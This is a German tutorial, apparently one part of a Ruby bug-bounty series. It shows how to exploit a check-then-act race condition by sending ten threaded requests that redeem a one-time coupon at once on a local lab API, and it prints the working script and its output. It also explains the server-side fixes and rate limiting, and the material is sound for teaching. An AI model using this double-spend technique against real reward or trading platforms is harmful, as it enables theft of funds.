// Bug-Bounty-Automatisierung in Ruby · Teil 6

Rate-Limits und Rennen

Ein Einmal-Coupon verhält sich perfekt, wenn du ihn zweimal hintereinander einlöst — und fällt auseinander, wenn du ihn zehnmal auf einmal einlöst. Wir feuern nebenläufige Anfragen ab, um eine Belohnung doppelt auszugeben, bevor der Server sie als benutzt markieren kann, und lernen dabei Threads und das Check-then-act-Rennen, von dem Markt-Bots leben und sterben.

RubyConcurrencyThreadsRace Condition
5 Min. Lesezeit

Jede Anfrage bisher ging einzeln raus. Einige der besten API-Bugs tauchen nur auf, wenn Anfragen zusammen rausgehen. Das Labor hat einen Coupon, FREE100, 100 für deinen Kontostand wert und als einmalig markiert. Einer nach dem anderen eingelöst, verhält er sich. Alle auf einmal eingelöst, zahlt er wieder und wieder aus — eine Race Condition, und genau die Bug-Klasse, mit der jemand ein Prämienprogramm leeren oder auf einer Trading-Plattform doppelt ausgeben kann.

Beginne race.rb mit Login und einem Redeem-Aufruf:

require 'net/http'
require 'json'
require 'uri'

BASE = 'http://127.0.0.1:4567'

def login(name)
  res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

def redeem(token, code)
  uri = URI("#{BASE}/api/redeem")
  req = Net::HTTP::Post.new(uri)
  req['Authorization'] = "Bearer #{token}"
  req['Content-Type'] = 'application/json'
  req.body = { 'code' => code }.to_json
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

Sequenziell ist alles in Ordnung

Löse den Coupon zweimal ein, einen Aufruf nach dem anderen:

token = login('alice')
2.times do |i|
  res = redeem(token, 'FREE100')
  puts "  attempt #{i + 1}: HTTP #{res.code} -> #{res.body}"
end
$ ruby race.rb
  attempt 1: HTTP 200 -> {"balance":1100}
  attempt 2: HTTP 409 -> {"error":"already redeemed"}

Genau richtig: Die erste Einlösung zahlt aus, die zweite wird abgelehnt, weil der Coupon jetzt als benutzt markiert ist. Die Logik des Servers ist prüfe, ob er eingelöst ist, dann markiere ihn als eingelöst. Einzeln gelesen, ist das wasserdicht.

Alle auf einmal ist es das nicht

Der Fehler ist die Lücke zwischen der Prüfung und der Markierung. Wenn zehn Anfragen alle die Prüfung durchlaufen, bevor eine von ihnen die Markierung erreicht, sehen alle zehn „noch nicht eingelöst“ und alle zehn zahlen aus. Damit das passiert, senden wir sie nebenläufig, mit Threads. Starte das Labor zuerst neu, damit der Coupon frisch ist, dann:

token = login('bob')

threads = 10.times.map do
  Thread.new { redeem(token, 'FREE100') }
end

codes = threads.map { |t| t.value.code.to_i }
wins  = codes.count(200)
puts "[+] fired #{codes.size} at once -> #{wins} returned 200 (each credited 100)"

Thread.new { ... } startet einen Block, der nebenläufig läuft, und gibt sofort ein Thread-Objekt zurück; die Schleife startet zehn, bevor einer fertig ist. t.value wartet, bis ein Thread endet, und gibt das Ergebnis seines Blocks zurück — also sammelt codes alle zehn Statuscodes, sobald sie alle fertig sind. count(200) zählt die Erfolge:

$ ruby race.rb
[+] fired 10 at once -> 8 returned 200 (each credited 100)

Acht erfolgreiche Einlösungen eines Einmal-Coupons. Sequenziell bekamen wir genau eine; nebenläufig bekamen wir acht, und bobs Kontostand sprang um 800 statt 100. Die genaue Zahl verschiebt sich von Lauf zu Lauf — du rennst um Mikrosekunden —, aber alles über eins ist die Schwachstelle. Nichts am Coupon änderte sich, nur das Timing, wie wir fragten.

Warum es funktioniert, und die zwei Funde

Ruby hat eine GVL, also läuft immer nur ein Thread Ruby gleichzeitig — aber ein Thread gibt ab, wann immer er auf I/O wartet, was das meiste einer HTTP-Anfrage ausmacht. Während eine Anfrage unterwegs ist (und während der Server in seiner eigenen Verzögerung zwischen Prüfung und Markierung sitzt), laufen die anderen ihre Prüfungen. Sie überlappen auf dem Zustand des Servers, und das Rennen ist im Gange.

Es gibt hier zwei berichtbare Funde, ineinander verstrickt:

  • Das Rennen selbst — ein Check-then-act ohne Sperre. Die Behebung ist serverseitig: mach die Prüfung-und-Markierung atomar oder verlange einen Idempotenz-Schlüssel.
  • Kein Rate-Limiting — der Server nahm zehn Einlösungsversuche im Nu an. Selbst ohne das Rennen sind unbegrenzte schnelle Anfragen ein eigener Bug, und sie sind, was ein Rennen im großen Maßstab ausnutzbar macht. Ein Jäger berichtet beides.

Erkenntnisse

  • Eine Race Condition versteckt sich im Check-then-act: validieren, dann Zustand ändern, mit einer Lücke dazwischen. Nebenläufige Anfragen schlüpfen durch die Lücke.
  • Thread.new { ... } führt einen Block nebenläufig aus; t.value wartet und gibt sein Ergebnis zurück. Starte viele, sammle dann ihre Werte.
  • Rubys GVL rettet dich hier nicht — Threads geben bei I/O ab, also überlappen Netzwerkanfragen tatsächlich. Timing-Bugs sind in Ruby real.
  • Fehlendes Rate-Limiting ist sowohl ein eigener Fund als auch der Multiplikator, der Rennen, Credential Stuffing und Enumeration praktikabel macht. Notiere es immer.

Übungen

  1. Variiere die Thread-Zahl: probiere 2, 5, 20, 50 und gib die Erfolge für jede aus (starte das Labor zwischen den Läufen neu). Ab wo beginnt das Rennen zu beißen?
  2. Lies nach einem Renn-Lauf bobs Kontostand aus /api/me und bestätige, dass er 1500 + 100 * wins entspricht. Beweise wie dieser gehören in den Bericht.
  3. Der Server verbreitert das Fenster mit einer kleinen Verzögerung. Entferne sie in labapi.rb und lauf erneut — ist das Rennen weg oder nur enger? (Es ist enger. Echte Rennen brauchen oft viele Versuche, um eine Mikrosekunden-Lücke zu treffen.)

Weiter — Teil 7: Wir haben sechs Bugs von Hand gefunden. Teil 7 bringt das Werkzeug dazu, Dinge für uns zu bemerken — es macht Schnappschüsse der API-Antworten und diffrt einen Lauf gegen den nächsten, sodass ein neuer Endpunkt oder ein geändertes Feld von selbst auftaucht.

← Alle Teile